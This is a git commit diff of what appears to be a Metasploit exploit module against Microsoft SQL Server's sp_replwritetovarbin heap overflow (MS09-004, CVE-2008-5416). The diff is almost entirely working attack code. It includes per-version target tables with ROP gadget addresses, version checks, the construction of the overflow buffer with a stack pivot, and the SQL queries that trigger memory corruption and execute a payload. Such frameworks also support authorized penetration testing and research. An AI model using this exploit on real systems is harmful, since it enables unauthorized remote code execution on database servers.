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major overhaul of ms09-004 (cve-2008-5416) exploit 

git-svn-id: file:///home/svn/framework3/trunk@8151 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Joshua Drake 2010-01-19 01:51:48 +00:00
parent 08eb80f4a9
commit 52b71077d3
1 changed files with 227 additions and 218 deletions
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445
modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb
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@ -21,10 +21,12 @@ class Metasploit3 < Msf::Exploit::Remote
super(update_info(info,
'Name' => 'Microsoft SQL Server sp_replwritetovarbin Memory Corruption',
'Description' => %q{
A heap-based buffer overflow can occur when calling the undocumented
A heap-based buffer overflow can occur when calling the undocumented
"sp_replwritetovarbin" extended stored procedure. This vulnerability affects
all versions of Microsoft SQL Server 2000 and 2005, Windows Internal Database,
and Microsoft Desktop Engine (MSDE) without the updates supplied in MS09-004.
Microsoft patched this vulnerability in SP3 for 2005 without any public
mention.
This exploit smashes several pointers, as shown below.
@ -38,24 +40,12 @@ class Metasploit3 < Msf::Exploit::Remote
4. On MSSQL 2005, an additional vtable ptr is smashed, which is referenced with
a displacement of 4. This pointer is not used by this exploit.
There are two different methods used by this exploit, which have been named
"writeNcall" and "sprayNbrute".
The first, "writeNcall", was published by k`sOSe on Dec 17 2008. It uses pointers
2 and 3, as well as a writeable address. This method is quite reliable. However,
it relies on the the operation on pointer 2. Newer versions of SQL server
(>= 2000 SP3 at least) use a length value that is 8-byte aligned. This imposes a
restriction that the code address that leads to the payload (jmp ecx in this
case) must match the regex '.[08].[08].[08].[08]'. Unfortunately, no such
addresses were found in memory.
For this reason, the second method, "sprayNbrute" is used. First a heap-spray
is used to prime memory with lots of copies of the address of our code that
leads to the payload (jmp ecx). Next, brute force is used to try to guess a
value for pointer 3 that points to the sprayed data.
A new method of spraying the heap inside MSSQL is presented. Sadly, it only
allows the creation of a bunch of 8000 byte buffers.
This particular exploit replaces the previous dual-method exploit. It uses
a technique where the value contained in ecx becomes the stack. From there,
return oriented programming is used to normalize the execution state and
finally execute the payload via a "jmp esp". All addresses used were found
within the sqlservr.exe memory space, yielding very reliable code execution
using only a single query.
},
'Author' => [ 'jduck' ],
'License' => MSF_LICENSE,
@ -75,8 +65,8 @@ class Metasploit3 < Msf::Exploit::Remote
'Payload' =>
{
'Space' => 512,
'BadChars' => "", # nul bytes are ok!
'StackAdjustment' => -3500,
'BadChars' => "", # bad bytes get encoded!
'PrependEncoder' => "\x81\xc4\xf0\xef\xff\xff",
'DisableNops' => true
},
'Platform' => 'win',
@ -94,58 +84,162 @@ class Metasploit3 < Msf::Exploit::Remote
# Aug 6 2000 00:57:48
'MSSQL 2000 / MSDE SP0 (8.00.194)',
{
'Method' => 'writeNcall',
'Num' => 32, # value for "start_offset"
'VtOff' => -13, # offset from 'Num' to smashed vtable ptr
'VtDisp' => 0x38, # displacement from call [eax+0x38] crash
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)
'Vtable' => 0x1b0768c8, # becomes eax for [eax+0x38] (must be valid to exec)
'Ret' => 0x42b6be7b # jmp ecx in sqlsort.dll (2000 base)
'Vtable' => 0x00a87f26, # becomes eax for [eax+0x38] (must be valid to exec)
'FixDisp' => 0x6900a7, # not directly used - call [ecx+0x08]
'Disp' => 0x08, # displacement on call [ecx+disp] used
'ecx2esp' => 0x0041b78f, # xchg ecx,esp / sbb [eax],al / pop esi / ret
'Popped' => 0x4, # byte count popped in above (before ret)
'Offset' => 0x28, # offset to the new stack!
'FixESP' => 0x0071f5fb, # advance esp to next ret (add esp,0x20 / ret)
'Ret' => 0x0041c9a2 # jmp esp
},
],
[
# Microsoft SQL Server 2000 - 8.00.384 (Intel X86)
# May 23 2001 00:02:52
'MSSQL 2000 / MSDE SP1 (8.00.384)',
{
'Num' => 32, # value for "start_offset"
'VtOff' => -13, # offset from 'Num' to smashed vtable ptr
'VtDisp' => 0x38, # displacement from call [eax+0x38] crash
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)
'Vtable' => 0x00a95b2f, # becomes eax for [eax+0x38] (must be valid to exec)
'FixDisp' => 0x4b4f00, # not directly used - call [ecx-0x18]
'Disp' => 0x34, # displacement on call [ecx+disp] used
'ecx2esp' => 0x0044d300, # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret
'Popped' => 0x8, # byte count popped in above (before ret)
'Offset' => 0x28, # offset to the new stack!
'FixESP' => 0x004a2ce9, # advance esp to next ret (add esp,0x1c / ret)
'Ret' => 0x004caa15 # jmp esp
},
],
[
# Microsoft SQL Server 2000 - 8.00.534 (Intel X86)
# Nov 19 2001 13:23:50
'MSSQL 2000 / MSDE SP2 (8.00.534)',
{
'Num' => 32, # value for "start_offset"
'VtOff' => -13, # offset from 'Num' to smashed vtable ptr
'VtDisp' => 0x38, # displacement from call [eax+0x38] crash
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)
'Vtable' => 0x00a64f7e, # becomes eax for [eax+0x38] (must be valid to exec)
'FixDisp' => 0x660077, # not directly used - call [ecx-0x18]
'Disp' => 0x34, # displacement on call [ecx+disp] used
'ecx2esp' => 0x0054131c, # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret
'Popped' => 0x8, # byte count popped in above (before ret)
'Offset' => 0x28, # offset to the new stack!
'FixESP' => 0x005306a0, # advance esp to next ret (add esp,0x1c / ret)
'Ret' => 0x004ca984 # jmp esp
},
],
[
# Microsoft SQL Server 2000 - 8.00.760 (Intel X86)
# Dec 17 2002 14:22:05
'MSSQL 2000 / MSDE SP3 (8.00.760)',
{
'Method' => 'sprayNbrute',
'Num' => 32, # value for "start_offset"
'VtOff' => -13, # offset from 'Num' to smashed vtable ptr
'VtDisp' => 0x38, # displacement from call [eax+0x38] crash
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)
'Vtable' => 0x1b0768c8, # becomes eax for [eax+0x38] (must be valid to exec)
'Ret' => 0x42b6be7b # jmp ecx in sqlsort.dll (2000 sp3)
'Vtable' => 0x00ac344e, # becomes eax for [eax+0x38] (must be valid to exec)
'FixDisp' => 0x490074, # not directly used - call [ecx+0x14]
'Disp' => 0x34, # displacement on call [ecx+disp] used
'ecx2esp' => 0x00454303, # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret
'Popped' => 0x8, # byte count popped in above (before ret)
'Offset' => 0x28, # offset to the new stack!
'FixESP' => 0x00503413, # advance esp to next ret (add esp,0x20 / ret)
'Ret' => 0x0043fa97 # jmp esp
},
],
[
# Microsoft SQL Server 2000 - 8.00.2039 (Intel X86)
# May 3 2005 23:18:38
'MSSQL 2000 / MSDE SP4 (8.00.2039)',
{
'Method' => 'sprayNbrute',
'Num' => 32, # value for "start_offset"
'VtOff' => -13, # offset from 'Num' to smashed vtable ptr
'VtDisp' => 0x38, # displacement from call [eax+0x38] crash
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)
'Vtable' => 0x1b0768c8, # becomes eax for [eax+0x38] (must be valid to exec)
#'Vtable' => 0x42c300c8, # ugh!
'Ret' => 0x42b0be10 # jmp ecx in sqlsort.dll (2000 sp4)
#'Ret' => 0x773d115b # jmp ecx in activeds.dll (2000 sp4 on 2000)
#'Ret' => 0x7ca7dc96 # push ecx|pop esp|pop ebp|retn 8 - in shell32 on 2k3sp2
'Vtable' => 0x0046592e, # becomes eax for [eax+0x38] (must be valid to exec)
'FixDisp' => 0x69f5e8, # not directly used - call [ecx+0x14]
'Disp' => 0x14, # displacement on call [ecx+disp] used
'ecx2esp' => 0x007b39a8, # push ecx / pop esp / mov ax,[eax+0x18] / mov [ecx+0x62],ax / pop ebp / ret 0x4
'Popped' => 0x4, # byte count popped in above (before ret)
'Offset' => 0x20, # offset to the new stack!
'FixESP' => 0x00b3694d, # advance esp to next ret (add esp,0x20 / ret)
'Ret' => 0x0047c89d # jmp esp
},
],
[
# Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
# Oct 14 2005 00:33:37
'MSSQL 2005 (9.00.1399.06)',
'MSSQL 2005 SP0 (9.00.1399.06)',
{
'Method' => 'sprayNbrute',
'Num' => 32, # value for "start_offset"
'VtOff' => 63, # offset from 'Num' to smashed vtable ptr
'VtDisp' => 0x10, # displacement from mov eax,[edx+0x10] / call eax crash
'Writable' => 0x53ad5330, # any writable addr (not even necessary really)
'Vtable' => 0x05413090, # becomes edx for [edx+0x10] or [edx+4] (must be valid to exec)
'Ret' => 0x49a9835f # jmp ecx ?
'Vtable' => 0x02201ca8, # becomes eax for [eax+0x38] (must be valid to exec)
'FixDisp' => 0x10e860f, # not directly used - call [ecx+0x14]
'Disp' => 0x50, # displacement on call [ecx+disp] used
'ecx2esp' => 0x0181c0d4, # push ecx / pop esp / pop ebp / ret
'Popped' => 0x4, # byte count popped in above (before ret)
'Offset' => 0x20, # offset to the new stack!
'FixESP' => 0x0147deb7, # advance esp to next ret (add esp,0x10 / ret)
'Ret' => 0x0112c2c7 # jmp esp
},
],
[
# debugging...
'CRASHER',
# Microsoft SQL Server 2005 - 9.00.2047.00 (Intel X86)
# Apr 14 2006 01:12:25
'MSSQL 2005 SP1 (9.00.2047.00)',
{
'Method' => 'sprayNbrute',
'Writable' => 0xcafebabe,
'Vtable' => 0xfeedfed5,
'Ret' => 0xdeadbeef
'Num' => 32, # value for "start_offset"
'VtOff' => 63, # offset from 'Num' to smashed vtable ptr
'VtDisp' => 0x10, # displacement from mov eax,[edx+0x10] / call eax crash
'Writable' => 0x53ad5330, # any writable addr (not even necessary really)
'Vtable' => 0x0244c803, # becomes eax for [eax+0x38] (must be valid to exec)
'FixDisp' => 0x17139e9, # not directly used - call [ecx+0x14]
'Disp' => 0x52, # displacement on call [ecx+disp] used
'ecx2esp' => 0x0183bf9c, # push ecx / pop esp / pop ebp / ret
'Popped' => 0x4, # byte count popped in above (before ret)
'Offset' => 0x20, # offset to the new stack!
'FixESP' => 0x014923c1, # advance esp to next ret (add esp,0x10 / ret)
'Ret' => 0x011b204c # jmp esp
},
]
],
[
# Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86)
# Feb 9 2007 22:47:07
'MSSQL 2005 SP2 (9.00.3042.00)',
{
'Num' => 32, # value for "start_offset"
'VtOff' => 63, # offset from 'Num' to smashed vtable ptr
'VtDisp' => 0x10, # displacement from mov eax,[edx+0x10] / call eax crash
'Writable' => 0x53ad5330, # any writable addr (not even necessary really)
'Vtable' => 0x027fca52, # becomes eax for [eax+0x38] (must be valid to exec)
'FixDisp' => 0x1106d6b, # not directly used - call [ecx+0x14]
'Disp' => 0x52, # displacement on call [ecx+disp] used
'ecx2esp' => 0x01849641, # push ecx / pop esp / pop ebp / ret
'Popped' => 0x4, # byte count popped in above (before ret)
'Offset' => 0x20, # offset to the new stack!
'FixESP' => 0x01498b22, # advance esp to next ret (add esp,0x10 / ret)
'Ret' => 0x010a5379 # jmp esp
},
],
[ 'CRASHER', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 09 2008'
@ -167,9 +261,13 @@ class Metasploit3 < Msf::Exploit::Remote
# TODO: add more versions
return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.194/)
return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.384/)
return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.534/)
return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.760/)
return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.2039/)
return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.1399\.06/)
return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.2047\.00/)
return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.3042\.00/)
return Exploit::CheckCode::Safe
end
@ -184,12 +282,20 @@ class Metasploit3 < Msf::Exploit::Remote
if (version =~ /8\.00\.194/)
mytarget = targets[1]
elsif (version =~ /8\.00\.760/)
elsif (version =~ /8\.00\.384/)
mytarget = targets[2]
elsif (version =~ /8\.00\.2039/)
elsif (version =~ /8\.00\.534/)
mytarget = targets[3]
elsif (version =~ /9\.00\./)
elsif (version =~ /8\.00\.760/)
mytarget = targets[4]
elsif (version =~ /8\.00\.2039/)
mytarget = targets[5]
elsif (version =~ /9\.00\.1399\.06/)
mytarget = targets[6]
elsif (version =~ /9\.00\.2047\.00/)
mytarget = targets[7]
elsif (version =~ /9\.00\.3042\.00/)
mytarget = targets[8]
end
if mytarget.nil?
@ -201,191 +307,89 @@ class Metasploit3 < Msf::Exploit::Remote
mytarget = target
end
if mytarget['Method'] == 'sprayNbrute'
exploit_spray_and_brute(mytarget)
elsif mytarget['Method'] == 'writeNcall'
exploit_write_and_call(mytarget)
else
raise RuntimeError, "Invalid exploitation method specified."
end
end
# prepare a known address pointing to jmp ecx!
def exploit_write_and_call(mytarget)
# write the 4 bytes..
packed_ret = [mytarget['Ret']].pack('V')
x = 0
packed_ret.unpack('C*').each do |byte|
if (not mssql_login_datastore)
raise RuntimeError, "Invalid SQL Server credentials"
end
addr = mytarget['Writable'] + x
# write a single byte value to an arbitrary address (using this vuln)
print_status("Writing 0x%02x to %#x ..." % [byte, addr])
num = 16
sz = num + 179
buf = rand_text_alphanumeric(sz)
# this corresponds to mov [eax+4], ecx
buf << [addr - 4].pack('V')
# this causes a length value to have the lsb of our byte
len = 0x169
if (len & 0xff) < byte
len = byte - (len & 0xff)
else
len = (0x200 - len) + byte
end
extra = rand_text_alphanumeric(len)
write_byte_sql = %Q|declare @e int,@b varbinary,@l int;exec master.dbo.sp_replwritetovarbin %NUM%,@e out,@b out,@l out,'%STUFF%','','','','','','','','','%EXTRA%'|
buf = mssql_encode_string(buf)
sql = write_byte_sql.gsub(/%NUM%/, num.to_s).gsub(/%STUFF%/, buf).gsub(/%EXTRA%/, extra)
begin
ret = mssql_query(sql, false)
rescue ::Errno::ECONNRESET, EOFError
print_error("Error: #{$!}")
end
x += 1
end
if (not mssql_login_datastore)
raise RuntimeError, "Invalid SQL Server credentials"
end
# call to ecx via the ptr we wrote
print_status("Triggering the call to our faked vtable ptr @ %#x" % mytarget['Writable'])
sqlquery = %Q|declare @i int,@buf nvarchar(4000)
set @buf='declare @e int,@b varbinary,@l int;'
set @buf=@buf+'exec master.dbo.sp_replwritetovarbin %NUM%,@e out,@b out,@l out,''%STUFF%'','''
set @buf=@buf+'1'',''2'',''3'',''4'',''5'',''6'',''7'',''8'''
exec master..sp_executesql @buf
|
# make sploit buff
num = 16
sz = num + 179
sploit = make_nops(sz-2)
sploit << "\xeb\x04"
sploit << [mytarget['Writable'] + 8].pack('V')
sploit << payload.encoded
sploit[3,4] = [mytarget['Writable']-0x38].pack('V')
# just crash it with a pattern buffer if the CRASHER target is selected..
if mytarget.name == 'CRASHER'
sploit = Rex::Text.pattern_create(2048)
print_status("Attempting to corrupt memory to cause an exception!")
num = 32
else
# trigger the memory corruption
num = mytarget['Num']
vt_off = mytarget['VtOff']
vt_disp = mytarget['VtDisp']
vtable = mytarget['Vtable']
ecx_disp = mytarget['Disp']
esp_off = mytarget['Offset']
hijack_esp = mytarget['ecx2esp']
first_esp = mytarget['Popped']
fix_esp = mytarget['FixESP']
writable = mytarget['Writable']
# make sploit buff
sz = (num + vt_off) + esp_off + 6 + 2 + 0x38 + payload.encoded.length
#sploit = Rex::Text.pattern_create(sz)
sploit = rand_text_alphanumeric(sz)
# remove displacement! (using call [ecx+displacement])
vtable_off = (num + vt_off)
sploit[vtable_off,4] = [(vtable - vt_disp)].pack('V')
# stack -> heap
hijack_off = vtable_off + ecx_disp
sploit[hijack_off,4] = [hijack_esp].pack('V')
# becomes eax on mssql 2ksp4 (prevent crash)
sploit[(vtable_off-4),4] = [writable].pack('V')
# becomes eip after esp hijack
fixesp_off = vtable_off + first_esp
sploit[fixesp_off,4] = [fix_esp].pack('V')
# rest of magic stack (disable DEP?)
stack_off = vtable_off + esp_off
stack = []
stack << mytarget['Ret']
stack = stack.pack('V*')
# jump over the stuff that gets corrupted
stack << "\xeb\x38"
stack << "\xcc" * 0x38
stack << payload.encoded
sploit[stack_off,stack.length] = stack
# this has to be put in after the stack area since the ptr for sql2k sp1 is in the corrupted stuff
sploit[hijack_off,4] = [hijack_esp].pack('V')
print_status("Redirecting flow to %#x via call to our faked vtable ptr @ %#x" % [mytarget['FixDisp'], vtable])
end
# encode chars that get modified
enc = mssql_encode_string(sploit)
sql = sqlquery.gsub(/%NUM%/, num.to_s).gsub(/%STUFF%/, enc)
ret = mssql_query(sql)
# put the number in (start offset)
runme = sqlquery.gsub(/%NUM%/, num.to_s)
runme.gsub!(/%STUFF%/, enc)
# go!
if (not mssql_login_datastore)
raise RuntimeError, "Unable to log in!"
end
begin
mssql_query(runme)
rescue ::Errno::ECONNRESET, EOFError
print_error("Error: #{$!}")
end
handler
disconnect
end
def exploit_spray_and_brute(mytarget)
brute_count = 1000
brute_step = 4096
spray = true
spray = false if mytarget.opts.has_key?('nospray')
if spray
if (not mssql_login_datastore)
raise RuntimeError, "Invalid SQL Server credentials"
end
print_status("Spraying the heap with our vtable entry pointer of %#x" % mytarget['Ret'])
# spray the heap! (count of 'max' blocks of 8000 bytes...)
query2 = "declare @s varchar(8000);set @s='%MARKER%'+REPLICATE(%ADDR%, (8000/4)-3)+'%MARKER%'+%ADDR%;select @s"
query = %Q|declare @s nvarchar(4000);set @s='%QUERY2%';exec master..sp_executesql @s|
addr = mssql_str_to_chars([mytarget['Ret']].pack('V'))
=begin
search_cmd = "s -b 0 L?-1 41 41"
search_cmd << Rex::Text.to_hex([mytarget['Ret']].pack('V'), ' ')
print_status("search command: " + search_cmd)
=end
max = 1000
part = max / 10
part = 1 if part < 1
max.times do |x|
print_status("Spraying ... %d / %d" % [x,max]) if ((x % part)==0)
marker = [0x41414141 + x].pack('V')
q2run = query2.gsub(/%MARKER%/, marker)
q2run.gsub!(/%ADDR%/, addr)
q2run.gsub!(/\'/, "\'\'")
runme = query.gsub(/%QUERY2%/, q2run)
break if not mssql_query(runme)
end
disconnect
end
sqlquery = %Q|declare @i int,@buf nvarchar(4000)
set @buf='declare @e int,@b varbinary,@l int;'
set @buf=@buf+'exec master.dbo.sp_replwritetovarbin %NUM%,@e out,@b out,@l out,''%STUFF%'','''
set @buf=@buf+'1'',''2'',''3'',''4'',''5'',''6'',''7'',''8'''
exec master..sp_executesql @buf
|
# trigger the memory corruption
brute_count.times do |x|
vtable = mytarget['Vtable'] + (x * brute_step)
# make sploit buff
num = 16
sz = num + 179
sploit = make_nops(sz-2)
#sploit = "\x90" * (sz-2)
sploit << "\xeb\x04"
sploit << [mytarget['Writable'] + 8].pack('V')
sploit << payload.encoded
# mssql 2000 vtable ptr smashed!
sploit[num-13,4] = [vtable-0x38].pack('V')
# mssql 2005 stuff:
# the vtable is deref'd twice here
# - first time ecx points at our buffer and the offset is 0x10
# - second time esp+8 points to our buffer and the offset is 0x04
sploit[num+63,4] = [vtable-0x10].pack('V')
#sploit[num+407,4] = [vtable-0x4].pack('V')
# encode chars that get modified
enc = mssql_encode_string(sploit)
# put the number in (start offset)
runme = sqlquery.gsub(/%NUM%/, num.to_s)
runme.gsub!(/%STUFF%/, enc)
print_status("Triggering the call to our faked vtable ptr @ %#x" % vtable)
# go!
if (not mssql_login_datastore)
raise RuntimeError, "Unable to log in!"
end
begin
mssql_query(runme)
rescue ::Errno::ECONNRESET, EOFError
print_error("Error: #{$!}")
end
handler
break if session_created?
disconnect
end
end
def mssql_str_to_chars(str)
ret = ""
str.unpack('C*').each do |ch|
@ -441,7 +445,12 @@ exec master..sp_executesql @buf
def mssql_query_version
if (not mssql_login_datastore)
begin
logged_in = mssql_login_datastore
rescue ::ConnectionRefused
raise RuntimeError, "Unable to connect: connection refused"
end
if (not logged_in)
raise RuntimeError, "Invalid SQL Server credentials"
end
res = mssql_query("select @@version")